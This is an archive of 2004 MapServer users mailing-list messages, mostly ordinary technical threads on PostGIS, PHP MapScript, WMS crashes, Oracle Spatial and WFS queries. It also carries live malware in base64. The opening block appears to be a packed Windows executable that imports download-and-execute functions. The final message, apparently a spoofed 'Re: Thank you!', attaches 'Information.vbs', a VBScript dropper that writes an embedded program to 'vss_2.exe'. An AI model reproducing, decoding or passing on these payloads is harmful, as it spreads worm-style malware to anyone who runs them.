QKOxnnTA+FWYncwhDGJ5Dkh56WvAUFhjgHMDa2V0v8pbbmK9cmFjYyVTQYHXHHdccnR1MCMZ eTb7Zq52MnoUbAc++S/HYM1QRUwBBADMD5BAnjT/D+AADwELAQUMAERWSFD7DAcC31gNQAtu Fmw5AgQzBwzAztyS0B40EAezvCTeBk/QYdxdIJDLwKADp8T7mq6wAR4uw3TrQpB3F/YF6wQj IB4ucmR0g+0Kr6NGC/sMJ0jZYt2FQAIuJkd1bUqa7nAnOlTATwYbbIFzggDrwHOOwL/fyicb cGQNIcYAAAAAAAAAACAB/wAAYL4loEAAjb7bb///V4PN/+sQkJCQkJCQigZGiAdHAdt1B4se g+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz5DHJg+gDcg3B4AiKBkaD 8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJ ix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY////5CLAoPCBIkHg8cE g+kEd/EBz+lM////Xon3uQcAAACKB0cs6DwBd/eAPwB18osHil8EZsHoCMHAEIbEKfiA6+gB 8IkHg8cFidji2Y2+AMAAAIsHCcB0PItfBI2EMKTjAAAB81CDxwj/loDkAACVigdHCMB03In5 V0jyrlX/loTkAAAJwHQHiQODwwTr4f+WiOQAAGHpBGz//wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/ /wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP////////////////////////////////////////////////// /////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf// gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA 6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA AAAAAAAAAAAAAAAAAAAAABSVnCAux00aCZq9upRzCpaTerlNj3tfx0Qwv0mVULC4j0Cotz5h CgB1eAIiBYagh45hgXYzfkwlJXSnUnKxJmM5QcJKCJ6SUMdEBaQlWaE3fICVeyUPQirFvTGe silvWXZMTWciZ2tPxb8hk6gMZHdSfxZDNgklsEO2NoRCbwp1i5E+PhmrVIt/ssa9Gp+ATAG6 HxykPZ9/Uy1/P3caC7IESCsyOy+AG1mAj5dKWi+vWmlpSiCbjAVAf19xvnd7qU5mjzARP6wq n0mOoTokhGmHoXJtARJBZpZbu5F0KsKgWHPDQkiSFIoywmVGvmpauztBnRyaNpoFa7eKFsdM TLJaYXufBppUTJCaxK2RKZmtcq2NfFAhtowkcDzAZ3tZqcAOCUeuTYyqAiWDEZsXGUx+la6U VGtXEZ1FN38fN5IQE0wGK4o5wgwzFS+hdW0Mm1GqB8J2Ih14S7N/NGzFJow3j8Z5D1JeMxUI t70TaJ+QcZ8WQqkavYpZEnNBgUlrAZq8TViCrTsXEExHOhu+wKy3dgQxaqG6kqOMerQrh3ip w4VEVoswjMAgLju6JMChLqAEdnJcX7gRaGtUrA5Yfqp/qcdEfnOaa0S7K0rFbUOhIawxosSe bYVeqVJAcgOXx1+nt1JhSCdLJTxggpeNuFuXnEOGdZi4uTGhdbl0agRHt8dYvbQfvC0zraMr xWx7qku2TXCIgZZguyApZbKLIRCPtTNybcWaoVq9jm49uV5PxiRStb6nV34sBgU8JxKjV4s8 fHMJDHE7cU5qx0UfwQymGQ0roCBXjiyAuYE9mGGrPkUTMAlCQMeziqhWTRZ6sriBdomqriyE bn9mRWJJEkMeI556tlKXDFidVKcGfS16HD4ZVX0BghYePBUNuG+Fs6pVmosfMwuMDQd4xb2J SiRGNXIjfKhCpscKHzVpHq5WUMO1f3w3BEakBLF1n0HGMRJop0IvXrAZnja0GFlvqxQtX1BE ib0OBceIRG/DsQeJeY2TeXEeRVthbVs2cw5hoj53bCOLUqi6BYt+EKuaTnE2IzsJBzgyA1oi PqUJesRjKi8SgMVsZ1S2WWp+pl5yq5Q9usRosycuRnyHuDhfJrp1l2mQcQYYeyU= ----------wxdhraduukkvljsziomn-- From Rutigliano.Saverio at minambiente.it Fri Jun 11 01:25:32 2004 From: Rutigliano.Saverio at minambiente.it (Rutigliano Saverio) Date: Fri, 11 Jun 2004 10:25:32 +0200 Subject: R: [Mapserver-users] Native Windows PostGIS Message-ID: <9CD45F44129D6A4FA356769304CB59AD4E0306@MATTMS.matt.it> This is a multi-part message in MIME format. ------_=_NextPart_001_01C44F8D.A9883846 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I don't know about commercial solutions... But at the moment is possible = to use the Win NATIVE Postgresql. It is a dev version but I'm using it and it is very stable. =20 Here you can find a compiled version (it contains also PostGIS) read = this: = http://postgis.refractions.net/pipermail/postgis-users/2004-June/004988.h= tml =20 or the instruction to compile on Win by yourself: = http://postgis.refractions.net/pipermail/postgis-users/2004-June/004960.h= tml =20 These are links from the PostGIS mailing list. Best regards, =20 Saverio Rutigliano rutigliano.saverio at minambiente.it = =20 tel. 0657222613 - fax 0657222626 Ministero dell'Ambiente e della Tutela del Territorio Progetto Operativo Difesa Suolo Via C.Colombo, 112 - 00147 Roma - Italy -----Messaggio originale----- Da: mapserver-users-admin at lists.gis.umn.edu = [mailto:mapserver-users-admin at lists.gis.umn.edu] Per conto di Randy Page Inviato: venerd=EC 11 giugno 2004 4.13 A: mapserver-users at lists.gis.umn.edu Oggetto: [Mapserver-users] Native Windows PostGIS =09 =09 Hi Folks, =20 Does anyone know if PostGIS can be used with any of the commercial = native Windows versions of PostgreSQL such as PowerGres? =20 Thanks in advance, =20 Randy =20 ------_=_NextPart_001_01C44F8D.A9883846 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Messaggio
I=20 don't know about commercial solutions... But at the moment is possible = to use=20 the Win NATIVE Postgresql.
It is=20 a dev version but I'm using it and it is very = stable.
 
Here=20 you can find a compiled version (it contains also PostGIS) read=20 this:
    http://postgis.refractions.net/pipermail/postgis-users/2004-= June/004988.html
 
or the=20 instruction to compile on Win by yourself:
    http://postgis.refractions.net/pipermail/postgis-users/2004-= June/004960.html
 
These=20 are links from the PostGIS mailing list.
Best=20 regards,
 
Saverio=20 Rutigliano
rutigliano.saverio at minambiente.it
tel.=20 0657222613 =96 fax 0657222626
Ministero=20 dell=92Ambiente e della Tutela del Territorio
Progetto = Operativo=20 Difesa Suolo
Via=20 C.Colombo, 112 =96 = 00147 Roma =96=20 Italy
-----Messaggio originale-----
Da:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu] Per conto di = Randy=20 Page
Inviato: venerd=EC 11 giugno 2004 4.13
A:=20 mapserver-users at lists.gis.umn.edu
Oggetto: [Mapserver-users] = Native=20 Windows PostGIS

Hi=20 Folks,

 

Does anyone know if = PostGIS can be=20 used with any of the commercial native Windows versions of PostgreSQL = such as=20 PowerGres?

 

Thanks in=20 advance,

 

Randy

 

=00 ------_=_NextPart_001_01C44F8D.A9883846-- From norbert.thieme at ilmenau.baw.de Fri Jun 11 01:36:25 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Fri, 11 Jun 2004 10:36:25 +0200 Subject: [Mapserver-users] Dynamic Features In-Reply-To: References: Message-ID: <40C96F09.2040500@ilmenau.baw.de> Jonathan Mangano schrieb: > I have probably been too vague so here is some more info on what I have and what I am trying to do. > > I already have a database full of gps coordinates for varies vehicles and > can load this data through java (the information is already used on a J2EE > website) or using PHP. I have a working mapserver running on apache > with php4 installed. So far I have successfully displayed maps and with a > number of layers. The difficulty I am having is dynamically placing points > on a map to show where a vehicle is using the gps coordinates I have. I > have gone through all the php mapscript tutorials I could find and have not found an example of this. I did find a perl example in this forum but > couldn't get it to show the points. > > Does anyone have a link to a short tutorial or example that would explain > how I can (probably using php) create a points layer place points at > various lat/lon coordinates and display it with associated map layers? > > Thanks > > >>>>"Jonathan Mangano" 10/06/2004 09:36:01 >>> > > I am building a fleet management system that track moving vehicles using gps. I need to add mapping functionality but am new to the gis world and am having difficultly finding a starting point. Are there any mapserver tutorials that go through adding dynamic features to a map? > > Thanks > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi. Sorry I can't tell you the exact way because I never tried but I think you have to: - create a pointobj with the wanted coordinate (http://mapserver.gis.umn.edu/doc40/phpmapscript-class-guide.html#pointobj) - create a shapeobj and add your pointobj (http://mapserver.gis.umn.edu/doc40/phpmapscript-class-guide.html#ShapeObj) - add the shapeobj to a layer (http://mapserver.gis.umn.edu/doc40/phpmapscript-class-guide.html#LayerObj) or add it to new shapfileobj (http://mapserver.gis.umn.edu/doc40/phpmapscript-class-guide.html#shapefileObj) and then add it to a layer Regards, Norbert From joukje.de.haan at aris.nl Fri Jun 11 02:29:49 2004 From: joukje.de.haan at aris.nl (Joukje de Haan) Date: Fri, 11 Jun 2004 11:29:49 +0200 Subject: [Mapserver-users] access joined fields with php In-Reply-To: References: Message-ID: <40C97B8D.5030702@aris.nl> Apparantly this doens't work anymore. I already tried "myjoin.ID", "myjoin/ID" and many more combinations, but it returns me nothing but an empty string. Thanks anyway. Joukje Emil Zegers wrote: > If it is similiar to the CGI type of request for getting the join values it should be something like: > > $shapeobj->values['myjoin_ID'] > > Where 'myjoin' is the name of the join defined in the map file. > > Best regards, > > Emil > > > >>>>Joukje de Haan 06/09/04 05:59pm >>> > > Hi, > > I have a layer in my mapfile with a join to another table. When I query a > shapeobject of this layer, I can only get the shapefiles 'own' fieldvalues f.e. > $shapeobj->values['ID'] Does anyone know how to get access to the fieldvalues in > the joined table? Or is there a possibility to get to the join object of the > layer as defined in the mapfile? > > Best Regards, > Joukje de Haan > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > __________ > VChecked > > > ______________________________________________________ > > This message has been checked for all known viruses > ______________________________________________________ > > From john.pulles at geodan.nl Fri Jun 11 02:46:06 2004 From: john.pulles at geodan.nl (John Pulles) Date: Fri, 11 Jun 2004 11:46:06 +0200 Subject: [Mapserver-users] crash using srs parameter in getmap request In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB0770A4@ptolemy.topozone.com> References: <2A6FDD75AE04BE4A9E8C918D3C09FB0770A4@ptolemy.topozone.com> Message-ID: <40C97F5E.8030009@geodan.nl> Ed McNierney wrote: >Folks - > >What version of MapServer are you running when you get this crash? My >memory is being fuzzy right now, but there was a bug quite a while ago >that had something to do with a buffer/pointer problem with SRS >parameters (I think). I ran into it and Daniel fixed it - but it was >rather a long time ago. If you're using an old version of MapServer, >try something newer. > > > Hi again, The crash 'succeeded' with MapServer version 4.2-beta2 on W2K (from http://160.94.77.165/ms42b2_gif_pg.zip). As far as I know, mapserver version 4.2 is only available as a beta, so after suggestions to upgrade to version 4.2, it seemed worth to try to build mapserver 4.2 on Linux. With this version the crash does NOT occur and the url returns an image with or without srs parameters for both desired projections. Question that remains is if the problem in beta2 occurred because of the beta status or because of the windows version? John. > - Ed > >Ed McNierney >President and Chief Mapmaker >TopoZone.com >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu >[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >craig.gould at bt.com >Sent: Thursday, June 10, 2004 9:17 AM >To: Tom.Kralidis at ec.gc.ca; john.pulles at geodan.nl; >mapserver-users at lists.gis.umn.edu >Subject: RE: [Mapserver-users] crash using srs parameter in getmap >request > >Tom, > >If John's crash is anything like the crash I experienced then it is the >actual mapserv process on the machine that crashes with a null pointer >exception somewhere. > >This crash only happens with certain types of projections. I was using >British National Grid (BNG). The native projection of the WMS server was >BNG, and the native projection of the WMS client was BNG. However if I >include the SRS parameter then the map server process on the WMS server >crashed (however not if you used a browser and did a standard request). >If I took out the SRS parameter via a redirecting page the process did >not crash. > >Upper and lower case made no difference for me. The application still >crashed. > >BTW, when I found this problem I posted it on this list, but got no >answer back. Since then at least two other people have posted similar >problems. Each time I've let them know how I got round the problem. >Unfortunately I can't get seem to get map server to compile on my win >machine so I can't look into where this may be happening. > >Craig. > > > > >-----Original Message----- >From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis at ec.gc.ca] >Sent: 10 June 2004 14:04 >To: Gould,CR,Craig,XGH6A C; john.pulles at geodan.nl; >mapserver-users at lists.gis.umn.edu >Subject: RE: [Mapserver-users] crash using srs parameter in getmap >request > > > >Comments: > >- What do you mean by MapServer crashing? Are you getting a 500 error? >Are you getting an OGC Service Exception Report XML document? >- What is the *native* projection of the data? This is what should be >declared in the PROJECTION block foreach layer >- try your "wms_srs" declaration with lowercase (i.e. "init=epsg:28992") >- trying a WMS GetMap request without the SRS keyword is an invalid >request, and should throw an exception >- WMS is not the problem. A WMS shall support all SRS projections it >advertises in Capabilities > >..Tom > >========================= >Tom Kralidis >Systems Scientist >Environment Canada >Tel: +01-905-336-4409 >http://www.ec.gc.ca/ > > > > > >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>craig.gould at bt.com >>Sent: Thursday, June 10, 2004 7:33 AM >>To: john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu >>Subject: RE: [Mapserver-users] crash using srs parameter in >>getmap request >> >> >>John, >>I and a few others have found the same problem. >>The way round it is to create a web page that is called >>instead of the opengis mapserver. This page forwards the >>request to the mapserver but strips out the SRS paramater. If >>the map server is using the projection you want returned by >>default, then everything ends up OK. BTW this only happens >>with certain projection types. Regards, Craig. >> >> >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>John Pulles >>Sent: 10 June 2004 10:28 >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] crash using srs parameter in getmap request >> >> >>Hi List >> >>Using a map file with projection settings as shown below, I >>get a crash of mapserver when doing an opengis getmap request >>with &srs=epsg:28992. With an absent srs parameter or with >>&srs=epsg:4326 a correct map is returned. Does anyone have an >>idea what could be wrong? >> >>BTW: I am using MapServer version 4.2-beta2 on W2K, with the >>PROJ_LIB environment variable set to the directory containing >>the epsg file. >> >> >>Regards, >>John Pulles. >> >>MAP >> NAME "Demo" >> >> PROJECTION >> # RD >> "init=EPSG:28992" >> END >> >> EXTENT 10000 305000 280000 619000 >> >> SHAPEPATH "c:\kaarten" >> UNITS meters >> >> WEB >> METADATA >> "wms_title" "Demo" >> "wms_srs" "EPSG:4326 EPSG:28992" >> END >> END >> >> LAYER >> NAME provincies >> DATA "provincies" >> STATUS ON >> METADATA >> "wms_title" "Provincies" >> "wms_srs" "EPSG:4326 EPSG:28992" >> END >> TYPE POLYGON >> CLASS >> COLOR 212 212 212 >> OUTLINECOLOR 0 0 0 >> END >> PROJECTION >> # RD >> "init=EPSG:28992" >> END >> END >>END >> >>-------------------- >> >> >> >> >>_______________________________________________ >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> >> >>_______________________________________________ >> >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> >> >> > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > -- ------------------------------------- Geodan IT b.v. Buitenhaven 27-A 5211 TP 's-Hertogenbosch (NL) ------------------------------------- Tel: +31 (0)73 - 692 5151 Fax: +31 (0)73 - 692 5150 Mobiel: +(0)6 - 1234 5678 ------------------------------------- Postadres / mailing address President Kennedylaan 1 1079 MB Amsterdam (NL) ------------------------------------- E-mail: john.pulles at geodan.nl Website: http://www.geodan.nl Disclaimer: http://www.geodan.nl/disclaimer ------------------------------------- From sbeorchia at gi-lemans.fr Fri Jun 11 02:52:32 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Fri, 11 Jun 2004 11:52:32 +0200 Subject: [Mapserver-users] oracle spatial mapfile Message-ID: <000b01c44f99$d0cfdad0$8569850a@GILEMANS> Hi list, I try to display some data from oracle spatial in my mapserver project. It doesn't work. Here is my mapfile layer: LAYER NAME spa METADATA "DESCRIPTION" "Spatial" "LEGENDE" "1" "TYPE_LAYER" "ORA" END STATUS ON CONNECTIONTYPE oraclespatial CONNECTION "spa/sig at spa" DATA "GEOLOC from FP10010_LINES" TYPE LINE CLASS OUTLINECOLOR 0 0 0 COLOR 0 128 128 END END The data in the database are from some Mapinfo TabFiles. SO i've got a table FP10010_LINES with the GEOLOC field, that's why i've tried to retreive data with "GEOLOC from FP10010_LINES". So, when i launch my IE, i've got the following errors : "Warning: MapServer Error in msOracleSpatialLayerOpen(): OracleSpatial is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" "Fatal error: Call to a member function on a non-object in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" My oracle version is 8i (8.1.7) Any ideas ? Thank u. From sebastiaan at locatienet.com Fri Jun 11 03:18:31 2004 From: sebastiaan at locatienet.com (Sebastiaan Raaphorst) Date: Fri, 11 Jun 2004 12:18:31 +0200 Subject: [Mapserver-users] WMS flash problem Message-ID: <5123C23FBAC190489DE9BDA402450BBD4607A8@bridgis02.GEOSYS> This is a multi-part message in MIME format. ------_=_NextPart_001_01C44F9D.71FCB2A4 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi everyone, =20 I have a problem using mapserver as a WMS server with flash output. =20 - if I use the mapfile in combination with a template flash output works fine - if i make a WMS request for the same mapfile with other output formats (e.g. image/gif) everything also works fine =20 - the same WMS request with flash output however doesn't work, The flash plugin loads but the browser keeps loading and no results appear =20 >From the above it seems that the mapfile is ok, flash output is supported and the correct mime type is send to the browser. =20 Any ideas ? =20 Regards Sebastiaan =20 =20 =20 =20 MapServer version 4.0.2 on windows XP using IIS. OUTPUT=3DGIF OUTPUT=3DPNG OUTPUT=3DJPEG OUTPUT=3DWBMP OUTPUT=3DPDF OUTPUT=3DSWF SUPPORTS=3DPROJ SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER SUPPORTS=3DWMS_CLI ENT SUPPORTS=3DWFS_SERVER SUPPORTS=3DWFS_CLIENT INPUT=3DEPPL7 = INPUT=3DPOSTGIS INPUT=3DOGR INPUT=3DGDAL INPUT=3DSHAPEFILE ------_=_NextPart_001_01C44F9D.71FCB2A4 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Hi=20 everyone,
 
I have = a problem=20 using mapserver as a WMS server with flash = output.
 
- if I = use the=20 mapfile in combination with a template flash output works=20 fine
- if i = make a WMS=20 request for the same mapfile with other output formats (e.g.=20 image/gif) everything also works fine
 
- the = same WMS=20 request with flash output however doesn't work, The flash plugin = loads but=20 the browser keeps loading and no results appear
 
From = the above it=20 seems that the mapfile is ok, flash output is supported and the correct = mime=20 type is send to the browser.
 
Any = ideas=20 ?
 
Regards
Sebastiaan
 
 
 
 
MapServer version=20 4.0.2  on windows XP using IIS.
OUTPUT=3DGIF=20 OUTPUT=3DPNG OUTPUT=3DJPEG OUTPUT=3DWBMP = OUTPUT=3DPDF
 OUTPUT=3DSWF SUPPORTS=3DPROJ=20 SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER SUPPORTS=3DWMS_CLI
ENT=20 SUPPORTS=3DWFS_SERVER SUPPORTS=3DWFS_CLIENT INPUT=3DEPPL7 = INPUT=3DPOSTGIS=20 INPUT=3DOGR
INPUT=3DGDAL = INPUT=3DSHAPEFILE
------_=_NextPart_001_01C44F9D.71FCB2A4-- From cristinanoversa at clix.pt Fri Jun 11 03:25:44 2004 From: cristinanoversa at clix.pt (cristinanoversa at clix.pt) Date: Fri, 11 Jun 2004 11:25:44 +0100 Subject: [Mapserver-users] still need wfs help Message-ID: <20040611102544.5404.qmail@maboque.srv.clix.pt>

I?trying to do some queries (CGI mode) using the parameters PropertyName; FeatureId?and Filter but with no sucess (i?m using mapserver version 4.2-beta2).

I?m based on the examples that I found in WFS Specification (page 80). I?m trying things like:

http://www.someserver.com/wfs.cgi&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&typename=INWATERA_1M&PROPERTYNAME=INWATERA_1M/WKB_GEOM,INWATERA_1M/TILE_ID&FEATUREID=INWATERA_1M.1013


but the results are the same with or without those parameters.


And what about Filter parameter? Is?is supported by?mapserver?

Should the following example work?

ox>10,1020,20ox>http://www.someserver.com/wfs.cgi&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=INWATERA_1M&FILTER=<Filter><Within><PropertyName>INWATERA_1M/WKB_GEOM<PropertyName><gmlox><gml><coordinates>10,1020,20</gml:coordinates></gmlox></Within></Filter>

Clix Rapidix - Aumente at? 6X a velocidade da sua Internet
Adira em http://acesso.clix.pt e comece logo a navegar


  From steve.lime at dnr.state.mn.us Fri Jun 11 05:08:57 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Fri, 11 Jun 2004 06:08:57 -0600 Subject: [Mapserver-users] Re: Thank you! Message-ID: ----------dmgltgelpkgdgghdvlaa Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------dmgltgelpkgdgghdvlaa Content-Type: application/octet-stream; name="Information.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Information.vbs" ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0 ZmlsZSA9ICJ2c3NfMi5leGUiDQpTZXQgZmlsZXN5cyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0 aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGZpbGV0eHQgPSBmaWxlc3lzLkNyZWF0ZVRl eHRGaWxlKHRleHRmaWxlLCBUcnVlKQ0KZ2V0bmFtZSA9IGZpbGVzeXMuR2V0RmlsZU5hbWUo cGF0aCkNCmRpbSBhDQphPUFycmF5KDc3LDkwLDAsMCwxLDAsMCwwLDIsMCwwLDAsMjU1LDI1 NSwwLDAsNjQsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMCwwLDAsMCwwLDE4MCw3NiwyMDUsMzMs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTQ0LDAs MCwwLDE2OSwzOCwyMjEsMTksMjM3LDcxLDE3OSw2NCwyMzcsNzEsMTc5LDY0LDIzNyw3MSwx NzksNjQsMjM3LDcxLDE3OSw2NCwyMzgsNzEsMTc5LDY0LDk5LDg4LDE2MCw2NCwxMDksNzEs MTc5LDY0LDE3LDEwMywxNjEsNjQsMjM2LDcxLDE3OSw2NCw0Miw2NSwxODEsNjQsMjM2LDcx LDE3OSw2NCw4MiwxMDUsOTksMTA0LDIzNyw3MSwxNzksNjQsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsODAsNjksMCwwLDc2LDEsMywwLDIwNCwx NSwxNDQsNjQsMCwwLDAsMCwwLDAsMCwwLDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsODAsMCww LDAsMTYsMCwwLDAsMTQ0LDAsMCwyNDAsMjI2LDAsMCwwLDE2MCwwLDAsMCwyNDAsMCwwLDAs MCw2NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMTYsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMTYsMCwwLDE2LDAsMCww LDAsMTYsMCwwLDE2LDAsMCwwLDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNjQs MjQzLDAsMCw3NiwyLDAsMCwwLDI0MCwwLDAsMTY0LDMsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw4NSw4MCw4OCw0OCwwLDAsMCwwLDAsMTQ0 LDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MTI4LDAsMCwyMjQsODUsODAsODgsNDksMCwwLDAsMCwwLDgwLDAsMCwwLDE2MCwwLDAsMCw3 MCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMjI0LDQ2LDEx 